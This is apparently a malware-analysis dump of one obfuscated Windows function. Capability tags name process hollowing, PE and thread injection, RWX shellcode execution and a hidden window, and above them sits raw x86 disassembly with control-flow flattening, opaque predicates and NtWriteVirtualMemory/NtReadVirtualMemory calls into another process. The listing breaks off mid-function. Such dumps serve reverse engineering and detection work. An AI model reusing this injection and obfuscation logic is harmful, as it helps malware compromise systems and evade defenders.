Function at 0x10007840
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b4
mov eax, dword [0x1006b204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1bc], 0x14fa23f5
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c0], eax
sub eax, 0x80255c67
je 0x1000a588
jmp 0x1000787c
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8088f463
je 0x1000dbc4
jmp 0x10007892
mov eax, dword [ebp - 0x1c0]
sub eax, 0x814eb82e
je 0x10009953
jmp 0x100078a8
mov eax, dword [ebp - 0x1c0]
sub eax, 0x82ff47e6
je 0x1000a32c
jmp 0x100078be
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8303304d
je 0x1000bea3
jmp 0x100078d4
mov eax, dword [ebp - 0x1c0]
sub eax, 0x86794399
je 0x1000b22b
jmp 0x100078ea
mov eax, dword [ebp - 0x1c0]
sub eax, 0x869d7224
je 0x1000b8a2
jmp 0x10007900
mov eax, dword [ebp - 0x1c0]
sub eax, 0x87ee6280
je 0x1000938c
jmp 0x10007916
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8ac90776
je 0x1000b8f3
jmp 0x1000792c
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8aec2e52
je 0x1000b19a
jmp 0x10007942
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8beb3ff1
je 0x1000aa21
jmp 0x10007958
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8c559291
je 0x1000daa0
jmp 0x1000796e
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8d679df7
je 0x1000ccec
jmp 0x10007984
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8df72859
je 0x10009fd0
jmp 0x1000799a
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8ebfa1b9
je 0x1000c80a
jmp 0x100079b0
mov eax, dword [ebp - 0x1c0]
sub eax, 0x91d5defa
je 0x1000e4ef
jmp 0x100079c6
mov eax, dword [ebp - 0x1c0]
sub eax, 0x929b49cf
je 0x1000a134
jmp 0x100079dc
mov eax, dword [ebp - 0x1c0]
sub eax, 0x936de2fb
je 0x1000cd99
jmp 0x100079f2
mov eax, dword [ebp - 0x1c0]
sub eax, 0x959270c7
je 0x1000a0e3
jmp 0x10007a08
mov eax, dword [ebp - 0x1c0]
sub eax, 0x965e7dde
je 0x1000e0ac
jmp 0x10007a1e
mov eax, dword [ebp - 0x1c0]
sub eax, 0x96a5b2c9
je 0x1000dd86
jmp 0x10007a34
mov eax, dword [ebp - 0x1c0]
sub eax, 0x96c9290c
je 0x1000c07b
jmp 0x10007a4a
mov eax, dword [ebp - 0x1c0]
sub eax, 0x988cafd9
je 0x1000bdcc
jmp 0x10007a60
mov eax, dword [ebp - 0x1c0]
sub eax, 0x98c940ab
je 0x1000d0d7
jmp 0x10007a76
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9932aa5a
je 0x1000daff
jmp 0x10007a8c
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9984e7ae
je 0x1000d9cd
jmp 0x10007aa2
mov eax, dword [ebp - 0x1c0]
sub eax, 0x99d4a4e0
je 0x1000d4b2
jmp 0x10007ab8
mov eax, dword [ebp - 0x1c0]
sub eax, 0x99dfbdda
je 0x1000cf85
jmp 0x10007ace
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9a0f8f78
je 0x1000d00a
jmp 0x10007ae4
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9af77342
je 0x1000d33a
jmp 0x10007afa
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9cf8d5ff
je 0x10009ab2
jmp 0x10007b10
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9e235c3c
je 0x1000e18c
jmp 0x10007b26
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa02eab04
je 0x1000acf5
jmp 0x10007b3c
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa070869c
je 0x1000cc0c
jmp 0x10007b52
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa0f4b15e
je 0x10009343
jmp 0x10007b68
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa1bcaf56
je 0x1000949e
jmp 0x10007b7e
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa27df08d
je 0x10009c8a
jmp 0x10007b94
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa3221986
je 0x1000d97c
jmp 0x10007baa
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa369428c
je 0x1000d571
jmp 0x10007bc0
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa38a3a30
je 0x1000a709
jmp 0x10007bd6
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa4764d27
je 0x1000b618
jmp 0x10007bec
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa51eab8a
je 0x10009fdf
jmp 0x10007c02
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa569489f
je 0x1000c86a
jmp 0x10007c18
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa7b83c3e
je 0x1000e112
jmp 0x10007c2e
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa82dce49
je 0x1000cb63
jmp 0x10007c44
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa8e7ce2e
je 0x1000d86f
jmp 0x10007c5a
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa976ebc5
je 0x1000dcb3
jmp 0x10007c70
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa9fbd098
je 0x1000b0d3
jmp 0x10007c86
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaa800e24
je 0x1000dd95
jmp 0x10007c9c
mov eax, dword [ebp - 0x1c0]
sub eax, 0xab110ec4
je 0x1000e383
jmp 0x10007cb2
mov eax, dword [ebp - 0x1c0]
sub eax, 0xabc84a6c
je 0x10009840
jmp 0x10007cc8
mov eax, dword [ebp - 0x1c0]
sub eax, 0xacb2dfbd
je 0x1000c2ec
jmp 0x10007cde
mov eax, dword [ebp - 0x1c0]
sub eax, 0xacbbe096
je 0x1000aee6
jmp 0x10007cf4
mov eax, dword [ebp - 0x1c0]
sub eax, 0xad53cd8f
je 0x1000e266
jmp 0x10007d0a
mov eax, dword [ebp - 0x1c0]
sub eax, 0xadacca6a
je 0x10009962
jmp 0x10007d20
mov eax, dword [ebp - 0x1c0]
sub eax, 0xae7d5be9
je 0x1000c94d
jmp 0x10007d36
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaf090ca6
je 0x1000ceeb
jmp 0x10007d4c
mov eax, dword [ebp - 0x1c0]
sub eax, 0xafa89261
je 0x1000e452
jmp 0x10007d62
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb2689916
je 0x1000db1d
jmp 0x10007d78
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb28ca4ae
je 0x1000bcbb
jmp 0x10007d8e
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb416d6b8
je 0x1000aa12
jmp 0x10007da4
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb47ebdbc
je 0x100096d3
jmp 0x10007dba
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb52fdc69
je 0x1000caa8
jmp 0x10007dd0
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb984ec40
je 0x1000af6a
jmp 0x10007de6
mov eax, dword [ebp - 0x1c0]
sub eax, 0xba26bb8a
je 0x1000c717
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcafac6b6
mov ecx, 0x87ee6280
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41f9e88a
mov ecx, 0xc352256
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0xc71a24a5
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
sub edx, 0x10532feb
sub edx, 1
add edx, 0x10532feb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9c93423
mov ecx, 0x2ecad24c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov edx, dword [ebp - 0x140]
mov eax, 0x71f6dd15
mov ecx, 0x1996d10c
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0xadacca6a
jmp 0x1000e6db
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1bc], 0xefa353b4
jmp 0x1000e6db
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x138], eax
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x5d4f4a5
sub edx, 1
add edx, 0x5d4f4a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18f303ad
mov ecx, 0x77daba1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dl, byte [ebp - 0x132]
mov eax, 0x4df72d88
mov ecx, 0x4793cde1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0xa51eab8a
jmp 0x1000e6db
mov dl, byte [ebp - 0x131]
mov eax, 0x99d4a4e0
mov ecx, 0xdd1bf312
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0x8afb59b9
sub edx, 1
sub edx, 0x8afb59b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbb02443e
mov ecx, 0x929b49cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xc35d0ebf
sub edx, 1
sub edx, 0xc35d0ebf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbb02443e
mov ecx, 0x76920b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dl, byte [ebp - 0x125]
mov eax, 0x3b9d035
mov ecx, 0x20d3894a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xf04441d5
sub edx, 1
sub edx, 0xf04441d5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe3bdcf5
mov ecx, 0xf1416392
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
sub edx, 0xf5c7b583
sub edx, 1
add edx, 0xf5c7b583
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x21525ab0
mov ecx, 0xdf5aecfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0x8beb3ff1
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b6d27dc
mov ecx, 0x54c62f59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x104]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x18c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x188]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0xc6545a76
add ecx, edx
sub ecx, 0xc6545a76
mov edx, dword [ebp - 0x19c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x18c]
mov esi, dword [esi]
mov edi, dword [ebp - 0x188]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xc831bd95
add edx, esi
add edx, 0xc831bd95
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1bc], 0xe365b4ce
jmp 0x1000e6db
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0x1df60d6f
sub edx, 1
sub edx, 0x1df60d6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdbb467e2
mov ecx, 0xb984ec40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2e3944e7
mov ecx, 0x5bf63ebb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0x64ec7d26
sub edx, 1
sub edx, 0x64ec7d26
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x75ea6496
mov ecx, 0xd950f7ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x184]
mov dword [eax], 0
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xcfaee19a
sub edx, 1
sub edx, 0xcfaee19a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3f8ef61b
mov ecx, 0x4985bec9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov dword [eax], 0
mov dword [ebp - 0x1bc], 0x51e97aab
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0x62b46ffd
sub edx, 1
sub edx, 0x62b46ffd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2ff9f79
mov ecx, 0x56e76f1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x33aa3261
sub edx, 1
add edx, 0x33aa3261
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4ed2059
mov ecx, 0x8ac90776
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf4ed2059
mov ecx, 0xbe46b374
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dl, byte [ebp - 0xc5]
mov eax, 0xca9c3ca
mov ecx, 0x64e8026f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0xca0a418d
sub edx, 1
add edx, 0xca0a418d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd3075f2
mov ecx, 0x37193415
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x176825ba
mov ecx, 0xe0fc4452
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0x32674b13
jmp 0x1000e6db
mov ecx, dword [ebp - 0xa0]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0xa4]
sub ecx, 0xda239236
add ecx, eax
add ecx, 0xda239236
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x160]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0x5f4bfd15
mov ecx, 0xfe6e2eef
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0xca8e444e
sub edx, 1
add edx, 0xca8e444e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6edf2908
mov ecx, 0x7f3c830
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x1bc], 0x5fecf0fe
jmp 0x1000e6db
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xafa89261
mov ecx, 0x6a3cecfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x485440d
mov ecx, 0x5c52554f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x203e3a52
mov ecx, 0x4d21147c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
sub eax, 0xb763d5f8
add eax, 8
add eax, 0xb763d5f8
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x84], eax
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0xf16e73f4
sub edx, 1
sub edx, 0xf16e73f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfdd1dca9
mov ecx, 0xba9c5525
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x1b4]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x1bc], 0x5fcb2777
jmp 0x1000e6db
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e41ebb3
mov ecx, 0x49a19b91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe969b128
mov ecx, 0xd80f249a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0x774b8bc0
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0xd945626a
sub edx, 1
sub edx, 0xd945626a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a029d75
mov ecx, 0x9741273
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3db300be
mov ecx, 0x8e99a7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0x33754618
sub edx, 1
sub edx, 0x33754618
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe02618ea
mov ecx, 0x3dcf020a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x89738096
sub edx, 1
add edx, 0x89738096
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18df6d6f
mov ecx, 0x63541ef9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a4ae925
mov ecx, 0x23dfe315
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x1000e6db
mov dword [ebp - 0x1bc], 0x16fdc2a9
jmp 0x1000e6db
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
